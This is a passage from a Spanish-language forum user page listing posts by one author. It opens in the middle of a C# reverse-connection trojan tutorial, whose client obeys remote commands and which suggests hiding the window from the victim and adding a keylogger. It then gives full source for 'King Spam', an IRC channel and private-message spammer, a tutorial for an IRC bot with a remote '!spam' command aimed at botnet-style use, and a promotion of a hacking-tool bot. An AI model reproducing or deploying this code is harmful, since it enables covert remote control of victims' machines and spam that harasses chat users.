  8. // de la conexion y los vemos mejor en la funcion leer_datos_del_servidor
  9. }
  10. catch
  11. {
  12. //
  13. }
  14. }
  15.  
  16. public static void leer_datos_del_servidor(IAsyncResult now)
  17. {
  18. try
  19. {
  20. StreamReader abriendo_conexion = new StreamReader(conexion_con_el_server.GetStream()); // Usamos la variable abriendo_conexion
  21. // de tipo StreamReader para poder leer los datos que vienen
  22. string contenido = abriendo_conexion.ReadLine(); // Ponemos los datos la conexion en la variable string contenido
  23.  
  24. Match regex = Regex.Match(contenido, "-Command-OpenCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular
  25. // para verificar que nos envien la orden OpenCD
  26. if (regex.Success) // Si pasa ...
  27. {
  28. mciSendStringA("set CDAudio door open", "", 127, 0); // Usamos mciSendStringA para abrir la lectora
  29. enviar_respuesta("-RtaCommand-OpenCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien aunque nunca verifique nada xD
  30. }
  31.  
  32. regex = Regex.Match(contenido, "-Command-CloseCD-Command-", RegexOptions.IgnoreCase); // Usamos la expresion regular CloseCD para verificar que
  33. // nos envien la orden de CloseCd
  34. if (regex.Success) // Si pasa ...
  35. {
  36. mciSendStringA("set CDAudio door closed", "", 127, 0); // Usamos mciSendStringA para cerrar la lectora
  37. enviar_respuesta("-RtaCommand-CloseCD OK-RtaCommand-"); // Le decimos al servidor que todo salio bien
  38. }
  39.  
  40. conexion_con_el_server.GetStream().BeginRead(new byte[] { 0 }, 0, 0,leer_datos_del_servidor, null); // Actualizamos los datos de la conexion
  41. }
  42. catch
  43. {
  44. //
  45. }
  46. }
  47.  
  48. public static void enviar_respuesta(string texto)
  49. {
  50. try
  51. {
  52. StreamWriter enviar_respuesta_now = new StreamWriter(conexion_con_el_server.GetStream()); // Declaramos la variable enviar_respuesta_now
  53. // como StreamWriter para poder mandar un mensaje
  54. enviar_respuesta_now.WriteLine(texto); // Mandamos el mensaje que tienen la variable string y argumento "texto"
  55. enviar_respuesta_now.Flush(); // Seteamos para que el mensaje se envie correctamente
  56. }
  57. catch
  58. {
  59. //
  60. }
  61. }
  62.  

Con eso ya estaria listo el cliente.

0x04 : Probando el programa

Como ven no estan sencillo como en delphi pero esto es la base de un troyano de conexion inversa terminado desde ahi pueden agregar varias funciones como un keylogger , muy pronto voy a publicar la version en C# de mi DH Rat.
Para probar el programa carguen el servidor que vendria a ser el administrador de infectados , hagan click en el boton "Online" para activar el servidor , entonces abran el cliente que vendria a ser el stub infectado para la victima y veran un form vacio , despues pueden hacer invisible el form si quieren hacer el troyano decente , despues de eso si todo salio bien veran en el listview la ip de ustedes , entonces seleccionen la ip en el listview y hagan click en los botones de abrir y cerrar la lectora para comprobar que realmente funciona.

Unas imagenes de como funciona :







Eso seria todo.

0x05 : Bibliografia

http://www.hackforums.net/showthread.php?tid=827069
http://0six.wordpress.com/2011/04/03/c-rattcp-connection-tutorial/

--========--
  The End ?
--========--

Version PDF.

Version VideoTutorial :



Eso es todo.
10  Programación / .NET / [C#] ClapTrap IRC Bot 0.5 en: 25 Octubre 2014, 00:15
Traduccion a C# de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI
  • Scanner LFI
  • Buscador de panel de administracion
  • Localizador de IP
  • Buscador de DNS
  • Buscador de SQLI y RFI en google
  • Crack para hashes MD5
  • Cortador de URL usando tinyurl
  • HTTP FingerPrinting
  • Codificador base64,hex y ASCII 

Unas imagenes :





Si lo quieren bajar lo pueden hacer de aca.
11  Programación / .NET / [C#] King Spam 0.2 en: 17 Octubre 2014, 16:09
Un simple programa estilo consola en C# para hacer spam en un canal IRC desde un archivo de texto con el spam a enviar.

El codigo :

Código
  1. // King Spam 0.2
  2. // (C) Doddy Hackman 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7.  
  8. using System.IO;
  9. using System.Net;
  10. using System.Net.Sockets;
  11. using System.Text.RegularExpressions;
  12.  
  13. namespace kingspam
  14. {
  15.    class Program
  16.    {
  17.  
  18.        static string[] usuarios;
  19.  
  20.        static StreamReader leer_datos;
  21.        static StreamWriter mandar_datos;
  22.  
  23.        static void printear_logo(string texto)
  24.        {
  25.  
  26.            Console.ForegroundColor = ConsoleColor.Red;
  27.            Console.WriteLine(texto);
  28.            Console.ResetColor();
  29.  
  30.        }
  31.  
  32.        static void printear(string texto)
  33.        {
  34.  
  35.            Console.ForegroundColor = ConsoleColor.Green;
  36.            Console.WriteLine(texto);
  37.            Console.ResetColor();
  38.  
  39.        }
  40.  
  41.        static void printear_especial(string texto)
  42.        {
  43.  
  44.            Console.ForegroundColor = ConsoleColor.Yellow;
  45.            Console.WriteLine(texto);
  46.            Console.ResetColor();
  47.  
  48.        }
  49.  
  50.        static string print_form(string texto)
  51.        {
  52.  
  53.            Console.ForegroundColor = ConsoleColor.Green;
  54.            Console.Write(texto);
  55.            Console.ResetColor();
  56.  
  57.            Console.ForegroundColor = ConsoleColor.Cyan;
  58.            string resultado = Console.ReadLine();
  59.            Console.ResetColor();
  60.  
  61.            return resultado;
  62.  
  63.        }
  64.  
  65.        static void Main(string[] args)
  66.        {
  67.  
  68.            printear_logo("\n-- == KingSpam 0.2 == --\n\n");
  69.  
  70.            string host_irc = print_form("[+] Host : ");
  71.            string port_irc = print_form("\n[+] Port : ");
  72.            string canal_irc = print_form("\n[+] Channel : ");
  73.            string nick_irc = print_form("\n[+] Nickname : ");
  74.            string file_spam = print_form("\n[+] Filename with spam : ");
  75.            string timeout = print_form("\n[+] Timeout : ");
  76.  
  77.            if (File.Exists(file_spam))
  78.            {
  79.                string[] spam_lista_now = System.IO.File.ReadAllLines(file_spam);
  80.                List<string> spam_lista = new List<string> {""};
  81.                foreach (string agregar in spam_lista_now)
  82.                {
  83.                    spam_lista.Add(agregar);
  84.                }
  85.  
  86.                NetworkStream conexion;
  87.                TcpClient irc;
  88.  
  89.                string host = host_irc;
  90.                string nickname = nick_irc;
  91.                string canal = canal_irc;
  92.                string code = "";
  93.  
  94.                printear_especial("\n[+] Connecting ...\n");
  95.  
  96.                try
  97.                {
  98.  
  99.                    irc = new TcpClient(host, Convert.ToInt32(port_irc));
  100.                    conexion = irc.GetStream();
  101.                    leer_datos = new StreamReader(conexion);
  102.                    mandar_datos = new StreamWriter(conexion);
  103.  
  104.                    mandar_datos.WriteLine("NICK " + nickname);
  105.                    mandar_datos.Flush();
  106.  
  107.                    mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1");
  108.                    mandar_datos.Flush();
  109.  
  110.                    mandar_datos.WriteLine("JOIN " + canal);
  111.                    mandar_datos.Flush();
  112.  
  113.                    printear("[+] Online ...");
  114.  
  115.  
  116.                }
  117.  
  118.                catch
  119.                {
  120.                    printear("\n[-] Error\n");
  121.                }
  122.  
  123.                while (true)
  124.                {
  125.                    while ((code = leer_datos.ReadLine()) != null)
  126.                    {
  127.  
  128.                        Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase);
  129.                        if (regex.Success)
  130.                        {
  131.                            string te_doy_pong = "PONG " + regex.Groups[1].Value;
  132.                            mandar_datos.WriteLine(te_doy_pong);
  133.                            mandar_datos.Flush();
  134.                        }
  135.  
  136.                        regex = Regex.Match(code, ":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase);
  137.                        if (regex.Success)
  138.                        {
  139.                            string usuarios_lista = regex.Groups[4].Value;
  140.                            usuarios = usuarios_lista.Split(' ');
  141.                            printear("\n[+] Users Found : " + usuarios.Length + "\n");
  142.                            foreach (string usuario in usuarios)
  143.                            {
  144.                                printear("[+] User : " + usuario);
  145.                            }
  146.                            printear_especial("\n[+] Spammer Online\n");
  147.  
  148.                            while (true)
  149.                            {
  150.  
  151.                                System.Threading.Thread.Sleep(Convert.ToInt32(timeout) * 1000);
  152.  
  153.                                var azar = new Random();
  154.                                int pos = azar.Next(spam_lista.Count);
  155.                                string mensaje = spam_lista[pos];
  156.  
  157.                                if (mensaje != "")
  158.                                {
  159.                                    mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + mensaje);
  160.                                    mandar_datos.Flush();
  161.                                }
  162.  
  163.                                foreach (string usuario in usuarios)
  164.                                {
  165.                                    if (usuario != nick_irc)
  166.                                    {
  167.                                        if (spam_lista[pos] != "")
  168.                                        {
  169.                                            mandar_datos.WriteLine("PRIVMSG" + " " + usuario + " " + mensaje);
  170.                                            mandar_datos.Flush();
  171.                                        }
  172.                                    }
  173.                                }
  174.                            }
  175.  
  176.                        }
  177.  
  178.  
  179.                    }
  180.  
  181.                }
  182.  
  183.            }
  184.            else
  185.            {
  186.                printear_especial("[-] Error loading file");
  187.            }
  188.  
  189.            Console.ReadLine();
  190.  
  191.        }
  192.    }
  193. }
  194.  
  195. // The End ?
  196.  

Imagenes :





Si lo quieren bajar lo pueden hacer de aca.
12  Programación / .NET / [C#] Creacion de un IRC Bot en: 3 Octubre 2014, 18:07
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : C#
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando

-- =================--------

0x01 : Introduccion

Para comenzar esta breve manual sobre como hacer un IRC Bot en C# les aclaro que eh probado todo esto en Visual Studio 2010 usando como servidor IRC mi propia computadora usando IRC Plus para ello , lo pueden conseguir facilmente en internet y al parecer es compatible con Seven.
Los IRC Bot usados normalmente como spam tambien son usados para irc botnet o incluso como hacking tools , en este manual les enseñare a hacer spam y reconocer comandos
para hacking tools.

Comencemos ...

Primero tenemos que crear un proyecto de tipo "Aplicacion de Consola" pongan el NET Framework a 2.0 y pongan de nombre de proyecto "irc" como en la siguiente imagen :



Con el proyecto ya creado pasemos al siguiente punto.

0x02 : Conectando con el servidor

Para poder realizar la conexion vamos a necesitar los siguientes namespaces de esta forma :

Código
  1. using System.Net; // Lo usamos para realizar la conexion
  2. using System.Net.Sockets; // Lo mismo que la anterior
  3. using System.IO; // Lo usamos para el manejo con los streams
  4. using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares
  5.  

Para poder realizar la conexion usamos los sockets de la siguiente forma :

Código
  1. NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
  2. TcpClient irc; // Establecemos la variable irc como TcpClient
  3. StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
  4. StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter
  5.  
  6. string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
  7. string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
  8. string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
  9. string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
  10.  
  11. irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
  12. conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
  13. leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
  14. mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC
  15.  
  16. mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
  17. mandar_datos.Flush(); // Actualizamos la conexion
  18.  
  19. mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
  20. mandar_datos.Flush(); // ..
  21.  
  22. mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
  23. mandar_datos.Flush(); // ..
  24.  

Si quieren probar en otro servidor IRC pueden cambiar los datos de las variables host,nickname,canal para poder acceder a su canal.

Una vez conectados creamos un blucle enterno para capturar los datos y terminar de realizar la conexion con el famoso ping pong el cual nos hace el  servidor para poder terminar de conectarnos , resolvemos este tema de la siguiente forma :

Código
  1. while (true) // Mi bucle eterno
  2. {
  3. while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
  4. {
  5. Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor
  6.  
  7. Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
  8. // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
  9. // para ver que no estemos muerto o algo asi xD
  10. if (regex.Success) // Si se encontro algo
  11. {
  12. string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
  13. mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
  14. mandar_datos.Flush(); // ..
  15. }
  16. }
  17. }
  18.  

Con esto ya estamos conectados.

0x03 : Listando usuarios

Para poder listar los usuarios agregamos la variabe global "usuarios" al inicio del codigo de la siguiente forma :

Código
  1. static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal
  2.  

Entonces volvemos al bucle eterno que hicimos con while y agregamos despues del ping pong el siguiente codigo :

Código
  1. regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
  2. // con el poder de las expresiones regulares
  3. if (regex.Success) // Si los encontraron
  4. {
  5. string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
  6. usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
  7. // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
  8. foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
  9. {
  10. Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
  11. }
  12. }
  13.  

Como ven usamos las expresion regulares para buscar en el stream que nos manda la conexion con el servidor irc para despues seperar con split el resultado obtenido por espacios en blanco ' ' , despues usamos foreach para listar todos los usuarios en la consola.

0x04 : Mandar mensajes

Esta es una parte corta , para mandar un mensaje al canal de forma publica tenemos que usar el siguiente comando :

Código
  1. PRIVMSG #locos Mensaje
  2.  

Un ejemplo usando C# al cual deben agregar obviamente despues del blucle while() :

Código
  1. mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
  2. mandar_datos.Flush(); // ..
  3.  

0x05 : Recibir privados

Bueno esta parte es un poco mas complicada , para poder detectar los mensajes privados que nos mandan tenemos que leer el stream que nos manda el canal y ver el comando PRIVMSG , en el comando PRIVMSG le seguira la procedencia , si es el canal sera un mensaje publico pero si no es el canal es un mensaje privado , eso lo podemos detectar con el siguiente codigo al cual vamos agregar despues del bucle while() : 

Código
  1. regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
  2. if (regex.Success) // Si se encontro algo
  3. {
  4.  
  5. mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
  6. mandar_datos.Flush(); // ..
  7.  
  8. string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
  9. string mensaje = regex.Groups[4].Value; // El mensaje en si
  10. if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
  11. // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
  12. {
  13. Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
  14. }
  15. }
  16.  
             

Como ven detectamos los mensajes privados y los mostramos en la consola como lo hace mirc , mostrando el nick que nos esta hablando y despues el mensaje.

0x06 : Reconocer comandos

Para poder reconocer comandos para HackingTools lo vamos hacer con mensajes privados , el administrador del bot le habla al mismo a traves de mensajes privados con los comandos , despues el bot le responde con la respuesta del comando que le dijimos , un ejemplo de eso es este codigo el cual deben agregar despues del bucle :

Código
  1. regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
  2. if (regex.Success) // Si se encontro algo
  3. {
  4. string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
  5. string mensaje = regex.Groups[4].Value; // El mensaje en si
  6. if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
  7. // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
  8. {
  9. Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
  10. // detectamos los dos comandos que son <nick> <mensaje>
  11. if (regex_ordenes.Success) // Si se encontro algo
  12. {
  13. mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Sure"); // Le decimos al nick dueño del bot que si
  14. mandar_datos.Flush(); // ..
  15. System.Threading.Thread.Sleep(5000); // Usamos Thread.Sleep para esperar 5 segundos y fingir que hacemos algo interesante xD
  16. mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
  17. // un mensaje al usuario especificado con el mensaje que pedimos
  18. mandar_datos.Flush(); // ..
  19. mandar_datos.WriteLine("PRIVMSG" + " " + dedonde + " " + "[+] Finished"); // Le decimos al dueño del bot que terminamos
  20. mandar_datos.Flush(); // ..
  21. }
  22. }
  23. }
  24.  

Como ven nuestro comando es !spam , simplemente usa esta formato "!spam <nick> <texto>" y el bot le hablara a la persona del canal que quieran con el mensaje que quieran.

0x07 : Testeando

Hemos llegado al final de este corto manual , les deberia haber quedado el codigo de esta forma :

Código
  1. // Ejemplo de IRC Bot
  2. // Written By Doddy Hackman in the year 2014
  3.  
  4. using System;
  5. using System.Collections.Generic;
  6. using System.Text;
  7.  
  8. using System.Net; // Lo usamos para realizar la conexion
  9. using System.Net.Sockets; // Lo mismo que la anterior
  10. using System.IO; // Lo usamos para el manejo con los streams
  11. using System.Text.RegularExpressions; // No es vital pero me encantan el uso de las expresiones regulares
  12.  
  13. namespace irc
  14. {
  15.    class Program
  16.    {
  17.        static string[] usuarios; // Creamos el string[] usuarios para tener todos los nicks que estan en el canal
  18.  
  19.        static void Main(string[] args)
  20.        {
  21.            NetworkStream conexion; // Establecemos la variable conexion como NetworkStream
  22.            TcpClient irc; // Establecemos la variable irc como TcpClient
  23.            StreamReader leer_datos; // Establecemos la variable leer_datos como StreamReader
  24.            StreamWriter mandar_datos; // Establecemos la variable mandar_datos como SteamWriter
  25.  
  26.            string host = "localhost"; // Establecemos la variable string host para tener el host del canal IRC
  27.            string nickname = "ClapTrap"; // Establecemos la variable nickname con el nick del bot
  28.            string canal = "#locos"; // Establecemos la variable canal con el nombre del canal
  29.            string code = ""; // Creamos la variable string que vamos a usar para leer los sockets
  30.  
  31.            irc = new TcpClient(host, 6667); // Realizamos la conexion con el canal usando el host y el puerto 6667
  32.            conexion = irc.GetStream(); // Cargamos la conexion para poder leer los datos
  33.            leer_datos = new StreamReader(conexion); // Lo necesario para leer los datos de la conexion
  34.            mandar_datos = new StreamWriter(conexion); // Lo necesario para mandar comandos al canal IRC
  35.  
  36.            mandar_datos.WriteLine("NICK " + nickname); // Usamos el comando NICK para entrar al canal usando el nick antes declarado
  37.            mandar_datos.Flush(); // Actualizamos la conexion
  38.  
  39.            mandar_datos.WriteLine("USER " + nickname + " 1 1 1 1"); // Usamos el comando USER para confirmar el nickname
  40.            mandar_datos.Flush(); // ..
  41.  
  42.            mandar_datos.WriteLine("JOIN " + canal); // Usamos el comando JOIN para entrar al canal
  43.            mandar_datos.Flush(); // ..
  44.  
  45.            while (true) // Mi bucle enterno
  46.            {
  47.                while ((code = leer_datos.ReadLine()) != null) // Leemos la conexion con la variable code
  48.                {
  49.                    Console.WriteLine("Code : " + code); // No es necesario pero es para ver las respuestas del servidor
  50.  
  51.                    Match regex = Regex.Match(code, "PING(.*)", RegexOptions.IgnoreCase); // Detectamos el clasico PING para el PING PONG
  52.                    // que nos hara el servidor IRC para verificar que estemos ahi y entrar al canal , aunque lo sigo haciendo despues
  53.                    // para ver que no estemos muerto o algo asi xD
  54.                    if (regex.Success) // Si se encontro algo
  55.                    {
  56.                        string te_doy_pong = "PONG " + regex.Groups[1].Value; // Capturamos lo que esta despues del ping y le damos al pong con los datos
  57.                        mandar_datos.WriteLine(te_doy_pong); // Mandamos el comando de la variable anterior
  58.                        mandar_datos.Flush(); // ..
  59.                    }
  60.  
  61.                    regex = Regex.Match(code,":(.*) 353 (.*) = (.*) :(.*)", RegexOptions.IgnoreCase); // Capturamos los usuarios de todo el canal
  62.                    // con el poder de las expresiones regulares
  63.                    if (regex.Success) // Si los encontraron
  64.                    {
  65.                        string usuarios_lista = regex.Groups[4].Value; // Tenemos la variable con todos los nicks
  66.                        usuarios = usuarios_lista.Split(' '); // Para mayor comodidad usamos un split para separar todos los espacios vacios que estan entre
  67.                        // cada nick del canal para despues hacer una lista , que es la primera que declare en el codigo
  68.                        foreach (string usuario in usuarios) // Usamos un for each para leer la lista usuarios y mostrar cada nick en la variable usuario
  69.                        {
  70.                            Console.WriteLine("[+] User : "+usuario); // Mostramos cada user
  71.                        }
  72.                    }
  73.  
  74.                    regex = Regex.Match(code, ":(.*)!(.*) PRIVMSG (.*) :(.*)", RegexOptions.IgnoreCase); // Lo usamos para detectar los mensajes privados y publicos
  75.                    if (regex.Success) // Si se encontro algo
  76.                    {
  77.  
  78.                        mandar_datos.WriteLine("PRIVMSG" + " " + canal + " " + "Hi World"); // Mandamos un mensaje al canal
  79.                        mandar_datos.Flush(); // ..
  80.  
  81.                        string dedonde = regex.Groups[1].Value; // Se detecta la procedencia del mensaje
  82.                        string mensaje = regex.Groups[4].Value; // El mensaje en si
  83.                        if (dedonde != canal) // Si la procedencia del mensaje no es el canal en si activamos esta condicion , cabe aclarar que si es el canal
  84.                        // el que nos mando el mensaje es un mensaje PUBLICO , caso contrario es PRIVADO
  85.                        {
  86.                            Console.WriteLine("[+] "+dedonde+" dice : "+mensaje); // Mostramos el dueño del mensaje y el mensaje
  87.                            Match regex_ordenes = Regex.Match(mensaje, "!spam (.*) (.*)", RegexOptions.IgnoreCase); // Esta es la orden !spam con los (.*)
  88.                            // detectamos los dos comandos que son <nick> <mensaje>
  89.                            if (regex_ordenes.Success) // Si se encontro algo
  90.                            {
  91.                                mandar_datos.WriteLine("PRIVMSG" + " " + regex_ordenes.Groups[1].Value + " " + regex_ordenes.Groups[2].Value); // Mandamos
  92.                                // un mensaje al usuario especificado con el mensaje que pedimos
  93.                                mandar_datos.Flush(); // ..
  94.                            }
  95.                        }
  96.                    }
  97.                }
  98.            }
  99.        }
  100.    }
  101. }
  102.  
  103. // The End ?
  104.  

Unas imagenes :







--========--
  The End ?
--========--

Version PDF.

Version VideoTutorial



Eso es todo.
13  Programación / .NET / Re: [C#] DH Botnet 1.0 en: 27 Septiembre 2014, 15:23
no hago esto para infectar a nadie , solo me gusta programar todo tipo de cosas y publicar el codigo completo que es lo que siempre hago , el link que deje siempre estuvo igual con el proyecto de visual studio listo para ser abierto y leido , lo que edite fue el codigo aunque el stub no lo pude mostrar al foro porque es largo y se corta pues ya lo intente , pues si hay problema con eso les dejo ahora los codigos en pastebin.

Ahora el post esta editado.
14  Programación / .NET / Re: [C#] DH Botnet 1.0 en: 27 Septiembre 2014, 05:11
solo infecta a una persona no se propaga , es algo basico , y si , viene un codigo fuente queria mostrar el codigo completo al foro pero el stub es largo para el foro.
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ... 34
Powered by SMF 1.1.19 | SMF © 2006-2008, Simple Machines